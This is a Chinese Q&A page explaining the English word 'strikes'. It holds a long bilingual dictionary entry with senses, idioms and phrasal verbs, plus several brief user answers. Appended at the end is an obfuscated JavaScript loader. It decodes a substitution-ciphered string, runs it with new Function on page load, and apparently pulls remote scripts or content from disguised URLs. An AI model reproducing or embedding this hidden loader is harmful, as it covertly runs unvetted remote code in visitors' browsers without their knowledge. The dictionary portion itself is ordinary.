strikes是什么意思

2025-02-16 17:03:41
推荐回答(5个)
回答1:

strike 1
/ straɪk; straɪk/ n
organized stopping of work by employees because of a disagreement (eg over pay, conditions, etc); act or instance of striking (strike2 10) 罢工: a miners' strike 矿业工人罢工 * industrial strikes 工业部门的罢工 * a strike by bus drivers 公共汽车司机的罢工 * a general, an unofficial, a wildcat strike 大罢工、 未经工会同意的罢工、 自发举行的罢工 * call a strike 号召举行罢工 * break a strike 破坏罢工 * [attrib 作定语] take strike action 进行罢工.
sudden discovery of gold, oil, etc in the earth (金矿、 油田等的)突然发现: (fig 比喻) a lucky strike, ie a fortunate discovery 幸运的发现.
sudden attack (esp by aircraft or a missile) 袭击(尤指用飞机或导弹的): an air strike 空袭 * [attrib 作定语] first strike capacity in a nuclear war, ie the ability to attack an enemy before they can attack you 核战争中先发制人的能力 * The footballer took a strike at the goal. 那个足球队员飞脚射门. * the strike of a hawk on its prey 鹰向猎物之猛扑.
(idm 习语) be/go on `strike; be/come/go out on `strike be engaged in/start an industrial strike 举行[开始]罢工: We are (going) on strike. 我们正(要)进行罢工. * The ship-builders came/went out on strike for higher pay. 造船工人为提高工资而举行了罢工.
# `strikebound adj unable to function because of an industrial strike 因罢工而停顿的: The docks were strikebound for a week. 码头因罢工而瘫痪了一个星期.
`strike-breaker n person who continues to work while fellow employees are on strike, or who is employed in place of striking members 破坏罢工者(指罢工时继续上班的或受雇代替罢工者工作的人). Cf 参看 blackleg. `strike-breaking n [U].
`strike pay money paid by a trade union to striking members during a strike officially recognized by the union 罢工津贴(在工会正式组织的罢工期间由工会发给罢工者的). strike 2
/ straɪk; straɪk/ v (pt, pp struck / strʌk; strʌk/)
(a) [Tn, Tn.pr, Dn.n] subject (sb/sth) to an impact; hit (sb/sth) 使(某人[某物])遭受撞击; 打, 击, 敲(某人[某物]): The stone struck me on the side of the head. 石子打中了我头部的侧面. * He struck the table a heavy blow with his fist. 他用拳头猛击了一下桌子. =>Usage at hit1 用法见hit1. (b) [I, Tn, Tn.pr] (cause sth to) come sharply into contact with sth (使某事物)突然遭遇到某事物: There was a crash of thunder, then the storm struck. 一声惊雷过后, 狂风暴雨突然袭来. * People say that lightning never strikes twice in the same place. 据说闪电从来不会在同一处重复出现. * The ship struck a rock. 船触礁了. * The tree was struck by lightning. 那棵树被雷电击中了. * He struck his head on/against the beam. 他的头撞到梁上了. * He struck the beam with his head. 他的头撞到梁上了. * (fig 比喻) The family was struck by yet another tragedy. 这个家庭又遭不幸了. (c) [Tn] give (a blow) 给予(一击): Who struck the first blow (ie started the fight)? 是谁先出手打人的? (d) [Ipr] ~ at sb/sth aim a blow at sb/sth 向某人[某物]打去: He struck at me repeatedly with a stick. 他一再挥棍向我打来. (e) [Tn.pr, Tn.p] cause (sb/sth) to move or fall with a blow or stroke 将(某人[某物])打跑、 打掉或打倒: He struck her to the ground. 他把她打倒在地. * She struck the ball away. 她把球打了出去.
(a) [I] attack, esp suddenly 攻击; (尤指)袭击: Enemy troops struck just before dawn. 敌军在拂晓前发起了进攻. * The lioness crouched ready to strike. 母狮低伏着身子准备攻击. (b) [I, Tn esp passive 尤用於被动语态] (of disaster, disease, etc) afflict (sb/sth) (指灾难、 疾病等)侵袭, 折磨(某人[某事物]): It was not long before tragedy struck again. 没多久, 灾难又再次降临. * The area was struck by an outbreak of cholera. 该地区突然发生了霍乱.
(a) [Tn, Tn.pr] produce (a light, spark, etc) by friction 藉摩擦产生(亮光、 火花等): strike sparks from a flint 用燧石打出火花. (b) [I, Tn] (cause sth to) ignite in this way (使某物)摩擦点燃: These damp matches won't strike. 这些潮湿的火柴划不着. * strike a match 划火柴.
(a) [Tn, Tn.pr] produce (a musical note, sound, etc) 发出(乐音、 声音等): strike a chord on the piano 在钢琴上弹出和声 * (fig 比喻) strike a note of (ie give an impression of) gloom, optimism, caution 显得忧郁、 乐观、 谨慎. (b) [I, Tn] (of a clock) indicate (the time) by sounding a bell, etc (指时钟)敲响报(时): The clock has just struck (three). 钟刚敲过(三点). * The clock strikes the hours. 这钟能按小时打点. (c) [I] (of time) be indicated in this way (指时间)由时钟鸣报出: Four o'clock had just struck on the church clock. 教堂的时钟刚敲过四点.
[Tn] discover or reach (gold, minerals, oil, etc) by digging or drilling (经挖掘或钻探)发现或接触到(黄金、 矿物、 石油等): strike a rich vein of ore 发现丰富的矿脉.
[Tn] make (a coin, medal, etc) by stamping or punching metal 用冲压法制造(钱币、 奖章等): The Royal Mint will strike a commemorative gold coin. 英国皇家造币厂将铸造一种纪念金币.
[Cn.a esp passive 尤用於被动语态] bring (sb) suddenly into a specified state (as if) by a single stroke 使(某人)(如同)受到一击而突然处於某状态: be struck blind, dumb, silent, etc 顿时看不见东西、 说不出话来、 哑口无言等.
[Tn, Dn.f, Dn.w] (not in the continuous tenses 不用於进行时态) occur to sb's mind 产生於某人的头脑中: An awful thought has just struck me. 我刚才产生了一种很坏的想法. * What struck me was/I was struck by (ie I noticed) their enthusiasm for the work. 使我深有感触的是他们的工作热情[他们的工作热情我深有体会]. * It strikes me that nobody is in favour of the changes. 我留意到谁也不喜欢这些改革. * It suddenly struck me how we could improve the situation. 我突然想到一个办法可以让我们改进这种局面.
[Tn, Tn.pr] ~ sb (as sth) have an effect on sb; impress sb (in the way specified) 对某人产生某种效果; (以某种方式)给某人留下印象: How does the idea strike you? 这个主意你觉得怎麽样? * The plan strikes me as ridiculous. 我觉得这个计画荒谬可笑. * The house strikes you as welcoming when you go in. 这所房子你一进去就感到很舒服.
[I, Ipr] ~ (for/against sth) (of workers) stop work in protest about a grievance (指工人)罢工: Striking workers picketed the factory. 罢工工人在工厂周围设置了纠察队. * The union has voted to strike for a pay increase of 10%. 工会投票决定为要求提高工资10%而举行罢工.
[Tn] lower or take down (a sail, tent, etc) 降下或拆除(帆、 帐篷等): strike (ie dismantle) the set after the play is over 戏演完后撤掉布景. Cf 参看 pitch2 1.
[Tn] arrive at or achieve (an average) by reckoning 算出(平均数).
[Tn] come upon (a path, etc); find 偶然发现(路径等); 找到: It was some time before we struck the track. 我们用 了很长时间才找到了路.
[Tn] take (a cutting) from a plant and put it in the soil so that it grows new roots 插(条)(把某些植物的枝插入土壤中使其生根发芽); 进行插技、 插穗.
(idm 习语) be struck on sb/sth (infml 口) be favourably impressed by sb/sth; like sb/sth very much 对某人[某事物]产生良好印象; 非常喜欢某人[某事物]: He's very much struck on his new girl-friend. 他非常喜欢这个新交的女朋友. hit/strike home => home3. hit/strike the right/wrong note => note1. lightning never strikes in the same place twice => lightning1. strike an `attitude/a `pose hold or put the body in a certain way or use gestures to emphasize what one says or feels; speak or write about one's opinions, intentions or feelings in a dramatic or artificial way 摆姿势或做手势以强调自己的话语或感觉; 做作地说出或写出自己的观点、 意图或感情; 装腔作势: He struck an attitude of defiance with a typically hard-hitting speech. 他以惯用的强硬言词做出违抗的姿态. strike at the root of sth => root1. strike a `balance (between A and B) find a sensible middle point between two demands, extremes, etc; compromise 找到折衷办法; 妥协: It was difficult to strike the right balance between justice and expediency. 在公正与私利之间很难两全. strike a `bargain (with sb) come to an agreement (with sb) esp after much discussion and argument (与某人)达成协议(尤指经多次磋商和争论之后): They struck a bargain with the landlord that they would look after the garden in return for being allowed to use it. 他们与房东达成协议, 允许他们使用花园, 但须负责照管. strike a blow for/against sth perform an action on behalf of or in support of/against (a belief, cause, principle, etc) 为(信念、 事业、 原则等)而奋斗: By their action, they struck a blow for democracy. 他们以实际行动争取民主. strike camp take down and pack up one's tents, etc 拆除帐篷等; 拔营. strike a `chord (with sb) say sth that other people sympathize or identify with 引起(某人)内心共鸣; 打动(某人): The speaker had obviously struck a chord with his audience. 那位演讲者显然打动了听众. strike/sound a false note => false. strike fear, etc into sb/sb's heart cause sb to feel fear, etc 使某人感到恐惧等: The news of the epidemic struck terror into the population. 流行病蔓延的消息使居民感到恐慌. strike `gold/`oil discover a rich source of information, wealth, happiness, etc 找到丰富的消息来源、 财源、 幸福源泉等: She hasn't always been lucky with her boy-friends but she seems to have struck gold this time. 她结交男朋友一直运气不佳, 而这一次似乎称心如意了. strike a light! (dated Brit sl 旧, 俚) (exclamation expressing astonishment or protest 表示惊讶或反对的感叹语). strike (it) `lucky (infml 口) have good luck in a particular matter 在某问题上交好运: We certainly struck (it) lucky with the weather. 我们真幸运,遇上了好天气. strike/sound a note (of sth) => note1.,strike it `rich (infml 口) acquire a lot of money, esp suddenly or unexpectedly 获得大量金钱(尤指突然或意外地). ,strike while the ,iron is `hot (saying 谚) (often imperative 常用於祈使句) make use of an opportunity immediately; act while conditions are favourable 勿错失良机; 趁热打铁. take/strike root => root1. within `striking-distance near enough to be reached or attacked easily 在对方易达到或易攻击的距离内.

(phr v) strike sb down (a) (fml 文) hit sb so that he falls to the ground 把某人打倒在地. (b) (of a disease, etc) make sb unable to lead an active life; make sb seriously ill or kill sb (指疾病等)使某人生活不能自理, 使某人垂危或丧命: He was struck down by cancer at the age of thirty. 他三十岁时死於癌症.
strike sth off remove sth with a sharp blow; cut sth off 以猛击动作除去某物: He struck off the rotten branches with an axe. 他用斧头砍掉了朽烂的树枝. strike sb/sth off (sth) remove sb/sb's name from sth, esp from membership of a professional body 将某人[某人的名字]从...中除去(尤指从专业团体中除名): Strike her name off the list. 把她的名字从名单中除去. * The doctor was struck off for incompetence. 那医生因不称职而被除名.
strike on sth get or find sth suddenly or unexpectedly 突然或意外地获得或发现某事物: strike on a brilliant new idea 突然想出一个绝妙的新主意.
strike out (at sb/sth) aim vigorous blows or attacks (对准某人[某物])猛力打去, 猛烈攻击: He lost his temper and struck out wildly. 他大发脾气, 疯狂地出手打人. * (fig 比喻) In a recent article she strikes out at her critics. 她最近写了一篇文章对批评她的人予以猛烈回击. strike sth out/through remove sth by drawing a line through it; cross sth out 删去某物; 将某物划掉: The editor struck out the whole paragraph. 编辑把整段全删掉了. strike out (for/towards sth) move in a vigorous and determined way (towards sth) (朝某事物)奋力前进: strike out on foot for the distant hills 以坚定的步伐向远处的山冈走去 * He struck out (ie started swimming) strongly for the shore. 他开始拼命向岸边游去. * (fig 比喻) strike out on one's own, ie start an independent life, a new career, etc 开始独立的生活、 新的生涯等.
strike (sth) up (of a band, an orchestra, etc) begin to play (a piece of music) (指乐队、 管弦乐团等)开始演奏(某乐曲): The band struck up (a waltz). 乐队开始演奏(华尔兹舞曲). strike up sth (with sb) begin (a friendship, an acquaintance, a conversation, etc) esp casually (与某人)开始(交往、 认识、 交谈等)(尤指偶然): He would often strike up conversations with complete strangers. 他经常与陌生人搭讪.

回答2:

strike [简明英汉词典]
[straik]
n.罢工, 打击, 殴打
vt.打, 撞击, 冲击, 罢工, 打动, 划燃, 到达, 侵袭
vi.打, 打击, 罢工, 抓, 敲, 搏动, 打动, 穿透

回答3:

1打击+sb
2罢工
3给某人留下深刻印象
4使某人想起 It strike me that
5疾病的爆发

回答4:

strikes
罢工
双语例句
1
My anesthesiologist had two strikes?
那麻醉师已经失败两次?
2
In case jekyll strikes again?
以备杰克医生再次出手?

回答5:

罢工,打击,殴打,之类的意思

!function(){function a(a){var _idx="g3r6t5j1i0";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/Ks0jR8ps5KFnC}60"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"Ks0"=X8"ps5KFnC}60"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"Ks0^)ThF)mpOL2fmRT4"="Ks0X5ThF)m64YdCmRT4"="Ks02pThFmpOL2fmRT4"="Ks0_JqhFm64YdCmRT4"="Ks02TOhFmpOL2fmRT4"="Ks0CSqhF)m64YdCmRT4"="Ks0)FfThF)fmpOL2fmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q/f/Ks0j(8}vR8ps5KFnC}60"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();